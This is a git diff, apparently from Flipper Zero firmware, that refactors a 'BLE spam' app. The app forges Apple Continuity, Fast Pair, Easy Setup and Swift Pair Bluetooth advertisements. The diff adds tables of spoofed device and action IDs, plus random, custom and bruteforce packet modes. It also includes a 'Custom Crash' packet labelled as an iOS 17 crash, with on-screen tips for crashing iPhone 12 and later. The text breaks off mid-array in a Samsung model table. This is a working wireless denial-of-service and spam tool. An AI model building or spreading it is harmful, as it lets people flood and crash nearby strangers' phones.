const Protocol* protocols[]; + +extern const size_t protocols_count; + +struct Attack { + const char* title; + const char* text; + const Protocol* protocol; + Payload payload; +}; diff --git a/applications/external/ble_spam/protocols/_registry.c b/applications/external/ble_spam/protocols/_registry.c deleted file mode 100644 index 3d334fa14..000000000 --- a/applications/external/ble_spam/protocols/_registry.c +++ /dev/null @@ -1,9 +0,0 @@ -#include "_registry.h" - -const BleSpamProtocol* ble_spam_protocols[] = { - &ble_spam_protocol_continuity, - &ble_spam_protocol_fastpair, - &ble_spam_protocol_swiftpair, -}; - -const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols); diff --git a/applications/external/ble_spam/protocols/_registry.h b/applications/external/ble_spam/protocols/_registry.h deleted file mode 100644 index cca571a5b..000000000 --- a/applications/external/ble_spam/protocols/_registry.h +++ /dev/null @@ -1,20 +0,0 @@ -#pragma once - -#include "continuity.h" -#include "fastpair.h" -#include "swiftpair.h" - -union BleSpamProtocolCfg { - ContinuityCfg continuity; - FastpairCfg fastpair; - SwiftpairCfg swiftpair; -}; - -extern const BleSpamProtocol* ble_spam_protocols[]; - -extern const size_t ble_spam_protocols_count; - -typedef struct { - bool random_mac; - BleSpamProtocolCfg cfg; -} BleSpamPayload; diff --git a/applications/external/ble_spam/protocols/_scenes.h b/applications/external/ble_spam/protocols/_scenes.h new file mode 100644 index 000000000..83c192d65 --- /dev/null +++ b/applications/external/ble_spam/protocols/_scenes.h @@ -0,0 +1,4 @@ +#include "continuity_scenes.h" +#include "fastpair_scenes.h" +#include "easysetup_scenes.h" +#include "swiftpair_scenes.h" diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index b52f45a5f..5f46ec3a5 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -1,28 +1,83 @@ #include "continuity.h" -#include "_registry.h" +#include "_protocols.h" // Hacked together by @Willy-JL // iOS 17 Crash by @ECTO-1A // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/ // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ -static const char* type_names[ContinuityTypeCount] = { +const struct { + uint16_t value; + const char* name; +} pp_models[] = { + {0x0E20, "AirPods Pro"}, + {0x0620, "Beats Solo 3"}, + {0x0A20, "AirPods Max"}, + {0x1020, "Beats Flex"}, + {0x0055, "Airtag"}, + {0x0030, "Hermes Airtag"}, + {0x0220, "AirPods"}, + {0x0F20, "AirPods 2nd Gen"}, + {0x1320, "AirPods 3rd Gen"}, + {0x1420, "AirPods Pro 2nd Gen"}, + {0x0320, "Powerbeats 3"}, + {0x0B20, "Powerbeats Pro"}, + {0x0C20, "Beats Solo Pro"}, + {0x1120, "Beats Studio Buds"}, + {0x0520, "Beats X"}, + {0x0920, "Beats Studio 3"}, + {0x1720, "Beats Studio Pro"}, + {0x1220, "Beats Fit Pro"}, + {0x1620, "Beats Studio Buds+"}, +}; +const uint8_t pp_models_count = COUNT_OF(pp_models); + +const struct { + uint8_t value; + const char* name; +} pp_prefixes[] = { + {0x01, "New Device"}, + {0x07, "Not Your Device"}, + {0x05, "New Airtag"}, +}; +const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes); + +const struct { + uint8_t value; + const char* name; +} na_actions[] = { + {0x13, "AppleTV AutoFill"}, + {0x27, "AppleTV Connecting..."}, + {0x20, "Join This AppleTV?"}, + {0x19, "AppleTV Audio Sync"}, + {0x1E, "AppleTV Color Balance"}, + {0x09, "Setup New iPhone"}, + {0x02, "Transfer Phone Number"}, + {0x0B, "HomePod Setup"}, + {0x01, "Setup New AppleTV"}, + {0x06, "Pair AppleTV"}, + {0x0D, "HomeKit AppleTV Setup"}, + {0x2B, "AppleID for AppleTV?"}, +}; +const uint8_t na_actions_count = COUNT_OF(na_actions); + +static const char* type_names[ContinuityTypeCOUNT] = { [ContinuityTypeAirDrop] = "AirDrop", - [ContinuityTypeProximityPair] = "Proximity Pair", + [ContinuityTypeProximityPair] = "Continuity Pair", [ContinuityTypeAirplayTarget] = "Airplay Target", [ContinuityTypeHandoff] = "Handoff", [ContinuityTypeTetheringSource] = "Tethering Source", - [ContinuityTypeNearbyAction] = "Nearby Action", + [ContinuityTypeNearbyAction] = "Continuity Action", [ContinuityTypeNearbyInfo] = "Nearby Info", - [ContinuityTypeCustomCrash] = "Custom Packet", + [ContinuityTypeCustomCrash] = "Continuity Custom", }; -const char* continuity_get_name(const BleSpamProtocolCfg* _cfg) { - const ContinuityCfg* cfg = &_cfg->continuity; +static const char* get_name(const Payload* payload) { + const ContinuityCfg* cfg = &payload->cfg.continuity; return type_names[cfg->type]; } #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size -static uint8_t packet_sizes[ContinuityTypeCount] = { +static uint8_t packet_sizes[ContinuityTypeCOUNT] = { [ContinuityTypeAirDrop] = HEADER_LEN + 18, [ContinuityTypeProximityPair] = HEADER_LEN + 25, [ContinuityTypeAirplayTarget] = HEADER_LEN + 6, @@ -32,12 +87,11 @@ static uint8_t packet_sizes[ContinuityTypeCount] = { [ContinuityTypeNearbyInfo] = HEADER_LEN + 5, [ContinuityTypeCustomCrash] = HEADER_LEN + 11, }; - -void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) { - const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL; +static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) { + ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL; ContinuityType type; - if(cfg) { + if(cfg && cfg->type != 0x00) { type = cfg->type; } else { const ContinuityType types[] = { @@ -85,35 +139,21 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt case ContinuityTypeProximityPair: { uint16_t model; - if(cfg && cfg->data.proximity_pair.model != 0x0000) { + switch(payload ? payload->mode : PayloadModeRandom) { + case PayloadModeRandom: + default: + model = pp_models[rand() % pp_models_count].value; + break; + case PayloadModeValue: model = cfg->data.proximity_pair.model; - } else { - const uint16_t models[] = { - 0x0E20, // AirPods Pro - 0x0620, // Beats Solo 3 - 0x0A20, // AirPods Max - 0x1020, // Beats Flex - 0x0055, // Airtag - 0x0030, // Hermes Airtag - 0x0220, // AirPods - 0x0F20, // AirPods 2nd Gen - 0x1320, // AirPods 3rd Gen - 0x1420, // AirPods Pro 2nd Gen - 0x0320, // Powerbeats 3 - 0x0B20, // Powerbeats Pro - 0x0C20, // Beats Solo Pro - 0x1120, // Beats Studio Buds - 0x0520, // Beats X - 0x0920, // Beats Studio 3 - 0x1720, // Beats Studio Pro - 0x1220, // Beats Fit Pro - 0x1620, // Beats Studio Buds+ - }; - model = models[rand() % COUNT_OF(models)]; + break; + case PayloadModeBruteforce: + model = cfg->data.proximity_pair.model = payload->bruteforce.value; + break; } uint8_t prefix; - if(cfg && cfg->data.proximity_pair.prefix == 0x00) { + if(cfg && cfg->data.proximity_pair.prefix != 0x00) { prefix = cfg->data.proximity_pair.prefix; } else { if(model == 0x0055 || model == 0x0030) @@ -176,37 +216,30 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt case ContinuityTypeNearbyAction: { uint8_t action; - if(cfg && cfg->data.nearby_action.type != 0x00) { - action = cfg->data.nearby_action.type; - } else { - const uint8_t actions[] = { - 0x13, // AppleTV AutoFill - 0x27, // AppleTV Connecting... - 0x20, // Join This AppleTV? - 0x19, // AppleTV Audio Sync - 0x1E, // AppleTV Color Balance - 0x09, // Setup New iPhone - 0x02, // Transfer Phone Number - 0x0B, // HomePod Setup - 0x01, // Setup New AppleTV - 0x06, // Pair AppleTV - 0x0D, // HomeKit AppleTV Setup - 0x2B, // AppleID for AppleTV? - }; - action = actions[rand() % COUNT_OF(actions)]; + switch(payload ? payload->mode : PayloadModeRandom) { + case PayloadModeRandom: + default: + action = na_actions[rand() % na_actions_count].value; + break; + case PayloadModeValue: + action = cfg->data.nearby_action.action; + break; + case PayloadModeBruteforce: + action = cfg->data.nearby_action.action = payload->bruteforce.value; + break; } - uint8_t flag; + uint8_t flags; if(cfg && cfg->data.nearby_action.flags != 0x00) { - flag = cfg->data.nearby_action.flags; + flags = cfg->data.nearby_action.flags; } else { - flag = 0xC0; - if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?' - if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device' + flags = 0xC0; + if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?' + if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device' } - packet[i++] = flag; // Action Flags - packet[i++] = action; // Action Type + packet[i++] = flags; + packet[i++] = action; furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag i += 3; break; @@ -224,31 +257,16 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt case ContinuityTypeCustomCrash: { // Found by @ECTO-1A - const uint8_t actions[] = { - 0x13, // AppleTV AutoFill - 0x27, // AppleTV Connecting... - 0x20, // Join This AppleTV? - 0x19, // AppleTV Audio Sync - 0x1E, // AppleTV Color Balance - 0x09, // Setup New iPhone - 0x02, // Transfer Phone Number - 0x0B, // HomePod Setup - 0x01, // Setup New AppleTV - 0x06, // Pair AppleTV - 0x0D, // HomeKit AppleTV Setup - 0x2B, // AppleID for AppleTV? - }; - uint8_t action = actions[rand() % COUNT_OF(actions)]; - - uint8_t flag = 0xC0; - if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?' - if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device' + uint8_t action = na_actions[rand() % na_actions_count].value; + uint8_t flags = 0xC0; + if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?' + if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device' i -= 2; // Override segment header packet[i++] = ContinuityTypeNearbyAction; // Continuity Type packet[i++] = 0x05; // Continuity Size - packet[i++] = flag; // Action Flags - packet[i++] = action; // Action Type + packet[i++] = flags; + packet[i++] = action; furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag i += 3; @@ -269,8 +287,599 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt *_packet = packet; } -const BleSpamProtocol ble_spam_protocol_continuity = { - .icon = &I_apple, - .get_name = continuity_get_name, - .make_packet = continuity_make_packet, +enum { + _ConfigPpExtraStart = ConfigExtraStart, + ConfigPpModel, + ConfigPpPrefix, + ConfigPpCOUNT, }; +enum { + _ConfigNaExtraStart = ConfigExtraStart, + ConfigNaAction, + ConfigNaFlags, + ConfigNaCOUNT, +}; +enum { + _ConfigCcExtraStart = ConfigExtraStart, + ConfigCcInfoLock, + ConfigCcInfoDevice, + ConfigCcCOUNT, +}; +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(cfg->type) { + case ContinuityTypeProximityPair: { + switch(index) { + case ConfigPpModel: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel); + break; + case ConfigPpPrefix: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix); + break; + default: + ctx->fallback_config_enter(ctx, index); + break; + } + break; + } + case ContinuityTypeNearbyAction: { + switch(index) { + case ConfigNaAction: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction); + break; + case ConfigNaFlags: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags); + break; + default: + ctx->fallback_config_enter(ctx, index); + break; + } + break; + } + case ContinuityTypeCustomCrash: { + switch(index) { + case ConfigCcInfoLock: + case ConfigCcInfoDevice: + break; + default: + ctx->fallback_config_enter(ctx, index); + break; + } + break; + } + default: + ctx->fallback_config_enter(ctx, index); + break; + } +} +static void pp_model_changed(VariableItem* item) { + Payload* payload = variable_item_get_context(item); + ContinuityCfg* cfg = &payload->cfg.continuity; + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + payload->mode = PayloadModeValue; + cfg->data.proximity_pair.model = pp_models[index].value; + variable_item_set_current_value_text(item, pp_models[index].name); + } else { + payload->mode = PayloadModeRandom; + variable_item_set_current_value_text(item, "Random"); + } +} +static void pp_prefix_changed(VariableItem* item) { + Payload* payload = variable_item_get_context(item); + ContinuityCfg* cfg = &payload->cfg.continuity; + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data.proximity_pair.prefix = pp_prefixes[index].value; + variable_item_set_current_value_text(item, pp_prefixes[index].name); + } else { + cfg->data.proximity_pair.prefix = 0x00; + variable_item_set_current_value_text(item, "Auto"); + } +} +static void na_action_changed(VariableItem* item) { + Payload* payload = variable_item_get_context(item); + ContinuityCfg* cfg = &payload->cfg.continuity; + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + payload->mode = PayloadModeValue; + cfg->data.nearby_action.action = na_actions[index].value; + variable_item_set_current_value_text(item, na_actions[index].name); + } else { + payload->mode = PayloadModeRandom; + variable_item_set_current_value_text(item, "Random"); + } +} +static void extra_config(Ctx* ctx) { + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + VariableItemList* list = ctx->variable_item_list; + VariableItem* item; + size_t value_index; + + switch(cfg->type) { + case ContinuityTypeProximityPair: { + item = variable_item_list_add( + list, "Model Code", pp_models_count + 1, pp_model_changed, payload); + const char* model_name = NULL; + char model_name_buf[5]; + switch(payload->mode) { + case PayloadModeRandom: + default: + model_name = "Random"; + value_index = 0; + break; + case PayloadModeValue: + for(uint8_t i = 0; i < pp_models_count; i++) { + if(cfg->data.proximity_pair.model == pp_models[i].value) { + model_name = pp_models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf( + model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model); + model_name = model_name_buf; + value_index = pp_models_count + 1; + } + break; + case PayloadModeBruteforce: + model_name = "Bruteforce"; + value_index = pp_models_count + 1; + break; + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + + item = variable_item_list_add( + list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload); + const char* prefix_name = NULL; + char prefix_name_buf[3]; + if(cfg->data.proximity_pair.prefix == 0x00) { + prefix_name = "Auto"; + value_index = 0; + } else { + for(uint8_t i = 0; i < pp_prefixes_count; i++) { + if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) { + prefix_name = pp_prefixes[i].name; + value_index = i + 1; + break; + } + } + if(!prefix_name) { + snprintf( + prefix_name_buf, + sizeof(prefix_name_buf), + "%02X", + cfg->data.proximity_pair.prefix); + prefix_name = prefix_name_buf; + value_index = pp_prefixes_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, prefix_name); + break; + } + case ContinuityTypeNearbyAction: { + item = variable_item_list_add( + list, "Action Type", na_actions_count + 1, na_action_changed, payload); + const char* action_name = NULL; + char action_name_buf[3]; + switch(payload->mode) { + case PayloadModeRandom: + default: + action_name = "Random"; + value_index = 0; + break; + case PayloadModeValue: + for(uint8_t i = 0; i < na_actions_count; i++) { + if(cfg->data.nearby_action.action == na_actions[i].value) { + action_name = na_actions[i].name; + value_index = i + 1; + break; + } + } + if(!action_name) { + snprintf( + action_name_buf, + sizeof(action_name_buf), + "%02X", + cfg->data.nearby_action.action); + action_name = action_name_buf; + value_index = na_actions_count + 1; + } + break; + case PayloadModeBruteforce: + action_name = "Bruteforce"; + value_index = na_actions_count + 1; + break; + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, action_name); + + item = variable_item_list_add(list, "Flags", 0, NULL, NULL); + const char* flags_name = NULL; + char flags_name_buf[3]; + if(cfg->data.nearby_action.flags == 0x00) { + flags_name = "Auto"; + } else { + snprintf( + flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags); + flags_name = flags_name_buf; + } + variable_item_set_current_value_text(item, flags_name); + break; + } + case ContinuityTypeCustomCrash: { + variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL); + variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL); + break; + } + default: + break; + } + + variable_item_list_set_enter_callback(list, config_callback, ctx); +} + +static uint8_t config_counts[ContinuityTypeCOUNT] = { + [ContinuityTypeAirDrop] = 0, + [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1, + [ContinuityTypeAirplayTarget] = 0, + [ContinuityTypeHandoff] = 0, + [ContinuityTypeTetheringSource] = 0, + [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1, + [ContinuityTypeNearbyInfo] = 0, + [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1, +}; +static uint8_t config_count(const Payload* payload) { + const ContinuityCfg* cfg = &payload->cfg.continuity; + return config_counts[cfg->type]; +} + +const Protocol protocol_continuity = { + .icon = &I_apple, + .get_name = get_name, + .make_packet = make_packet, + .extra_config = extra_config, + .config_count = config_count, +}; + +static void pp_model_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + switch(index) { + case 0: + payload->mode = PayloadModeRandom; + scene_manager_previous_scene(ctx->scene_manager); + break; + case pp_models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom); + break; + case pp_models_count + 2: + payload->mode = PayloadModeBruteforce; + payload->bruteforce.counter = 0; + payload->bruteforce.value = cfg->data.proximity_pair.model; + payload->bruteforce.size = 2; + scene_manager_previous_scene(ctx->scene_manager); + break; + default: + payload->mode = PayloadModeValue; + cfg->data.proximity_pair.model = pp_models[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_continuity_pp_model_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx); + if(payload->mode == PayloadModeRandom) { + selected = 0; + } + + bool found = false; + for(uint8_t i = 0; i < pp_models_count; i++) { + submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx); + if(!found && payload->mode == PayloadModeValue && + cfg->data.proximity_pair.model == pp_models[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx); + if(!found && payload->mode == PayloadModeValue) { + selected = pp_models_count + 1; + } + + submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx); + if(payload->mode == PayloadModeBruteforce) { + selected = pp_models_count + 2; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_model_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void pp_model_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + payload->mode = PayloadModeValue; + cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00); + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_pp_model_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Model Code"); + + ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF; + ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_model_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void pp_prefix_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + switch(index) { + case 0: + cfg->data.proximity_pair.prefix = 0x00; + scene_manager_previous_scene(ctx->scene_manager); + break; + case pp_prefixes_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom); + break; + default: + cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_continuity_pp_prefix_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx); + if(cfg->data.proximity_pair.prefix == 0x00) { + found = true; + selected = 0; + } + + for(uint8_t i = 0; i < pp_prefixes_count; i++) { + submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx); + if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx); + if(!found) { + selected = pp_prefixes_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_prefix_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void pp_prefix_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00); + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Prefix"); + + ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void na_action_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + switch(index) { + case 0: + payload->mode = PayloadModeRandom; + scene_manager_previous_scene(ctx->scene_manager); + break; + case na_actions_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom); + break; + case na_actions_count + 2: + payload->mode = PayloadModeBruteforce; + payload->bruteforce.counter = 0; + payload->bruteforce.value = cfg->data.nearby_action.action; + payload->bruteforce.size = 1; + scene_manager_previous_scene(ctx->scene_manager); + break; + default: + payload->mode = PayloadModeValue; + cfg->data.nearby_action.action = na_actions[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_continuity_na_action_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, na_action_callback, ctx); + if(payload->mode == PayloadModeRandom) { + selected = 0; + } + + bool found = false; + for(uint8_t i = 0; i < na_actions_count; i++) { + submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx); + if(!found && payload->mode == PayloadModeValue && + cfg->data.nearby_action.action == na_actions[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx); + if(!found && payload->mode == PayloadModeValue) { + selected = na_actions_count + 1; + } + + submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx); + if(payload->mode == PayloadModeBruteforce) { + selected = na_actions_count + 2; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_na_action_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void na_action_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + payload->mode = PayloadModeValue; + cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00); + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_na_action_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Action Type"); + + ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_na_action_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void na_flags_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_na_flags_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Press back for automatic"); + + ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) { + Ctx* ctx = _ctx; + if(event.type == SceneManagerEventTypeBack) { + ctx->byte_store[0] = 0x00; + } + return false; +} +void scene_continuity_na_flags_on_exit(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + ContinuityCfg* cfg = &payload->cfg.continuity; + cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00); +} diff --git a/applications/external/ble_spam/protocols/continuity.h b/applications/external/ble_spam/protocols/continuity.h index e40d3525e..cd505fc08 100644 --- a/applications/external/ble_spam/protocols/continuity.h +++ b/applications/external/ble_spam/protocols/continuity.h @@ -16,21 +16,21 @@ typedef enum { ContinuityTypeNearbyInfo = 0x10, ContinuityTypeCustomCrash, - ContinuityTypeCount + ContinuityTypeCOUNT } ContinuityType; typedef struct { ContinuityType type; union { struct { - uint8_t prefix; uint16_t model; + uint8_t prefix; } proximity_pair; struct { + uint8_t action; uint8_t flags; - uint8_t type; } nearby_action; } data; } ContinuityCfg; -extern const BleSpamProtocol ble_spam_protocol_continuity; +extern const Protocol protocol_continuity; diff --git a/applications/external/ble_spam/protocols/continuity_scenes.h b/applications/external/ble_spam/protocols/continuity_scenes.h new file mode 100644 index 000000000..f41c96cb4 --- /dev/null +++ b/applications/external/ble_spam/protocols/continuity_scenes.h @@ -0,0 +1,7 @@ +ADD_SCENE(continuity_pp_model, ContinuityPpModel) +ADD_SCENE(continuity_pp_model_custom, ContinuityPpModelCustom) +ADD_SCENE(continuity_pp_prefix, ContinuityPpPrefix) +ADD_SCENE(continuity_pp_prefix_custom, ContinuityPpPrefixCustom) +ADD_SCENE(continuity_na_action, ContinuityNaAction) +ADD_SCENE(continuity_na_action_custom, ContinuityNaActionCustom) +ADD_SCENE(continuity_na_flags, ContinuityNaFlags) diff --git a/applications/external/ble_spam/protocols/easysetup.c b/applications/external/ble_spam/protocols/easysetup.c new file mode 100644 index 000000000..b07b6d639 --- /dev/null +++ b/applications/external/ble_spam/protocols/easysetup.c @@ -0,0 +1,574 @@ +#include "easysetup.h" +#include "_protocols.h" + +// Hacked together by @Willy-JL and @Spooks4576 +// Research by @Spooks4576 + +const struct { + uint32_t value; + const char* name; +} buds_models[] = { + {0xEE7A0C, "Fallback Buds"}, + {0x9D1700, "Fallback Dots"}, + {0x39EA48, "Light Purple Buds2"}, + {0xA7C62C, "Bluish Silver Buds2"}, + {0x850116, "Black Buds Live"}, + {0x3D8F41, "Gray & Black Buds2"}, + {0x3B6D02, "Bluish Chrome Buds2"}, + {0xAE063C, 